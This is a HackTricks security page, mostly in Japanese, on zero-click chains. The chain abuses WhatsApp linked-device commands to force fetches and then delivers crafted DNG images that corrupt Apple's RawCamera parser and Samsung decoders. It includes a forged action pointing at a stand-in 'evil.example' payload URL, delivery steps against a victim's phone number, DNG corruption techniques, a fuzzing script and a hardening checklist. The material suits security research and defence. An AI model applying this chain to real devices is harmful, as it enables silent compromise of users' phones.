Zero-click Messaging → Image Parser Chains

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

TL;DR

  • messaging app multi-device/companion protocols をリモートコントロールチャネルとして扱う:プロトコルのフィールドが「信頼されたデバイス」から来ると想定されていても、実際にはユーザー側で操作可能であり、被害者に対して直接リプレイして任意のコンテンツをロードさせることがしばしば可能で、0 user interaction で発動する。
  • どんなアプリでも信頼できないメディアを取得するよう強制できるようになったら、サンドボックスから脱出するためにOS共通のメディアパイプライン(RawCamera on iOS/macOS、vendor parsers on Android OEM builds)を不正なファイルで狙う。
  • ここで扱う DNG-based RawCamera と Samsung parser のバグは具体例だが、手法自体は再利用可能なブループリントであり、論理的欠陥 → image parser の memory corruption → full device compromise を連鎖させる設計になっている。

Remote content loading via WhatsApp linked-device commands

Attack surface recap

WhatsApp の “linked devices” アーキテクチャは、プライマリの電話と各コンパニオン(desktop, tablet, secondary phone)を暗号化された構造化プロトコルメッセージで同期させる。各メッセージは次をエンコードする:

  • Device metadata(device ID、capabilities、feature flags)。
  • Action descriptors(例:sync chats、fetch thumbnails、render remote content)。
  • Arbitrary parameters(URI、MIMEヒント、pagination keys など)。

Apple クライアントでは、これらの linked-device 制御パケットを処理するハンドラが有効なペアリングが既に行われたと暗黙に信頼していたため、重大な影響を持つフィールド(例:resource_url, open_media, sync_snapshot)は最小限しか検証されていなかった。したがって悪意あるコンパニオンからのメッセージは次のことが可能だった:

  1. 電話番号で識別される任意のアカウントにルーティングされうる。
  2. 受信側が送信者が正当にペアリング済みデバイスであることを検証しなかったため、Transport stack(Noise protocol + WhatsApp protobuf framing)を通り抜けられる。
  3. iOS クライアントに到達すると、脆弱なコードパスが自動的にバックグラウンドで攻撃者の URL に対して HTTP(S) リクエストを発行し、隠れた WebView/media renderer でレスポンスを解析した。

Practical workflow for auditors

  1. Capture legitimate linked-device traffic. デスクトップ/iOS クライアントにデバッガや Frida スクリプトをアタッチし、復号後ハンドラ(例:LinkedDevicesSyncHandler::processAction)をフックする。デコード済みの protobuf ペイロードをダンプして利用可能な action タイプとパラメータを把握する。
  2. Identify fields that cross trust boundaries. http_url, thumbnail_uri, download_url, render_html のようなパラメータを含み、厳密な allow-list が無いアクションはリモートコンテンツプリミティブの候補になる。
  3. Forge a malicious action. 観測した protobuf スキーマを再利用し、攻撃者が制御するフィールドだけを変更する。関連する論理構造の簡易 JSON 表示は以下の通り(実際のトランスポートは protobuf/Noise だが、セマンティックなフィールドは一致する):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. Deliver to the victim. 作成したパケットを、通常 linked-device トラフィックを転送する同じ WhatsApp サービス経由で再送する(例:改変したデスクトップクライアントや、攻撃者アカウントの鍵を再利用するカスタム Noise クライアントを使用)。CVE-2025-55177 が操作を認証済みデバイスに紐付けられなかったため、被害者の iOS/macOS クライアントはメッセージを受け入れ、UI を表示することなく即座に攻撃者の URL を取得してしまう。
  2. Instrument the fetch. 強制された HTTP(S) リクエストと内部レンダラ(WKWebView/ImageIO)を観測する。この時点で、WhatsApp 内に zero-click web delivery primitive を得たことになる。

自動デコードされた DNG を RawCamera に対して悪用する

攻撃者が WhatsApp に読み込ませる内容を制御できれば、次の目的は iOS/macOS に悪意のある Digital Negative (DNG) ファイルを RawCamera フレームワークで解析させることだ。埋め込まれた <img>/CSS URL が .dng に解決されれば、それはシステムのイメージパイプラインに渡され、WhatsApp 自体が明示的に DNG を扱っていなくても RawCamera が呼び出される。

Triggering RawCamera from WhatsApp

  • 複数の機構(例:<img src="evil.dng">、CSS background-image: url('evil.dng')、または <picture> のソース)で DNG を参照する HTML を配信し、異なるレンダー経路をカバーする。
  • 正しい MIME(image/x-adobe-dng)と小さいプレビューを確保し、サイズによるヒューリスティックでローダーが早期に諦めないようにする。
  • iOS のメディアサンドボックスはファイルを CGImageSourceCreateWithURL 経由で RawCamera にストリームし、最終的に脆弱なデコーダに到達する。

Crafting memory-corrupting DNGs (CVE-2025-43300 style)

2025 年の実戦で見られたバグは単なる破損した TIFF よりも具体的で、DNG は内部に JPEG-Lossless 画像データを含み、その内部 SOF3 コンポーネント数が TIFF/DNG メタデータの (SamplesPerPixel) と不一致だった。実際のところ、RawCamera は外側の TIFF フィールドからいくつかのバッファを確保し、デコード中に埋め込みの JPEG-Lossless ストリームを信頼してしまい、その結果、iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025 で修正された out-of-bounds write が発生した。

これにより、監査者は「ランダムにタグを変える」よりもはるかに厳密なトリアージルールを持つことができる。

exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY

もし SamplesPerPixelSOF3 のコンポーネント数が乖離している場合、CVE-2025-43300 で公開議論された正確なプリミティブに非常に近い状態です。パース経路が確保できたら、fuzzing に値する典型的な隣接レバーは次の通りです:

  • Tile/strip descriptors: TileByteCounts/StripByteCounts を現実的な値に設定しつつ、TileOffsets を増やして割り当てられたバッファの外を指すようにする。
  • Sub-IFD chains: 互いに矛盾する ImageWidth/ImageLength および BitsPerSample を持つ二次画像を埋め込み、RawCamera が小さなバッファを計算する一方で後段が攻撃者制御の寸法を信用するようにする。
  • Opcode metadata: OpcodeList3 エントリを操作して、行ごとの処理が攻撃者が選んだインデックスで動作するようにする。

この種の破損を検出するための基本的な mutation harness は macOS を中心に構築できます。RawCamera の同じコードが macOS/iOS/iPadOS に搭載されているため:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Each crash in RawCamera gives you a new primitive. The published PoC achieved a neat out-of-bounds read/write reliable enough to crash WhatsApp on iPhone, iPad, and Mac.

0-click チェーンの構築

  1. Linked-device packet → ユーザーのタップなしで WhatsApp に https://evil.example/payload.html をフェッチさせる。
  2. Payload HTML → 目立たず evil.dng を参照し、OS のメディアスタックが RawCamera を呼び出すことを保証する。
  3. Malicious DNG → 細工されたタグを悪用して RawCamera の OOB を引き起こし、イメージデコーダをクラッシュ/乗っ取る。
  4. Post-corruption exploitation → 情報 leak ガジェット(例:予測可能な heap metadata の悪用)を追加し、WhatsApp サンドボックスから脱出してより高権限なコンテキストに到達するための ROP/JOP チェーンを組み立てる。

全てのステップが自動で行われるため、攻撃者は被害者の電話番号だけを必要とします。ターゲットデバイスに通知、バナー、プロンプトはいっさい表示されません。

Recent Apple parser-chain patterns worth reusing

この WhatsApp → DNG → RawCamera チェーンは、最近の Apple zero-click キャンペーンで見られる設計パターンと一致します:制約の少ないパーサに到達する alternate attachment wrapper を見つけ、OS が積極的にプレビューするファイル形式を武器化する。

  • BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab は画像を含む悪意ある PassKit 添付ファイルを報告し、Apple は Wallet (CVE-2023-41061) と ImageIO (CVE-2023-41064) を修正しました。Project Zero の後の解析は、これが運用上なぜ重要かを示しました:攻撃者は単にパーサのバグだけでなく、画像パースを通常の BlastDoor パスの外に移し別プロセスで実行させるコンテナも必要としていたのです。メッセージングアプリを監査する際は、ヘルパーデーモンでバックグラウンドプレビューをトリガーするすべての添付タイプ(.pkpass、連絡先カード、ステッカーバンドル、インライン HTML、QuickLook プレビュー)を列挙し、明らかな画像添付だけに限らないようにしてください。
  • TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky は、悪意ある iMessage 添付が未公開の Apple 専用 ADJUST TrueType 命令 (CVE-2023-41990) にヒットしたことを示しました。実用的な教訓は、fonts are image-parser cousins ということです:リッチテキストプレビュー、フォントフォールバック、サムネイル生成は、アプリが「documents」や「stickers」しかサポートしていないと主張していても、すべてパーサのエントリポイントになり得ます。

繰り返し問うべき監査の質問は次の通りです:which message types cause silent parsing in a process other than the obvious chat renderer? そこが通常チェーンが始まる場所です。疑わしいファイルを手に入れたら、サンプルトリアージやクロスフィールド整合性チェックのために this generic structural file-format detection page を再利用してください。

Samsung vendor image parser parallels

Samsung の CVE-2025-21043 に関する bulletin は、Gallery、Messages、そして間接的に WhatsApp でも使われている彼らの独自のイメージパーススタックが、信用できないメディア経由で到達可能な out-of-bounds write を被っていたことを確認しました。エクスプロイト手法は Apple のチェーンと類似しています:

  • 攻撃ファイルを Samsung の libimagecodec/libOneUI_ImageDecoder ライブラリでパースする自動プレビューのベクタ(チャットのサムネイル、通知プレビュー、共有シートなど)を特定する。
  • OEM ライブラリの更新差分を解析するか、不正な RAW/DNG ファイルでパーサをファズして、RawCamera のクラッシュに類似したメモリ破損(heap metadata clobber、register control など)が確認されるまで続ける。
  • 既にコンテンツを自動ロードするチャネル(例:同じ linked-device primitive、WhatsApp のプレビューフェッチャ、Android の push-to-talk 波形プレビューなど)を通じて細工したファイルを配信する。

ベンダーパーサに OOB write が存在すると、これを WhatsApp の auto-fetch primitive と組み合わせることで、Samsung デバイス上で別の zero-click チェーンが成立します。

テストと強化チェックリスト

  • Protocol validation: すべての linked-device アクションに対して厳格な allow-list を強制する。フェッチ/レンダを要求する companion コマンドはデバイスペアリングを証明する必要があり(payload に署名)、URL は allow-list または署名済み blob と一致すべきです。
  • Transport replay countermeasures: 各アクションをデバイスごとのキーに結び付け、送信者キーが不明なパケットは protobuf 構文が正しくても拒否する。
  • Media pipeline restrictions: ハイレベルなアプリは承認済みの MIME タイプのみを許可し、機能が必要な場合を除き RAW/DNG を明示的に拒否すべきです。
  • Parser fuzzing regression tests: 不正な RAW/DNG ファイルのコーパスを保持し、アップデート後に毎回 RawCamera / ベンダーのデコーダで実行する。
  • Crash triage automation: fuzz デバイスに DYLD_INSERT_LIBRARIES サニタイザや MTE をアタッチして、攻撃者より先に微妙な OOB 条件を検出する。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする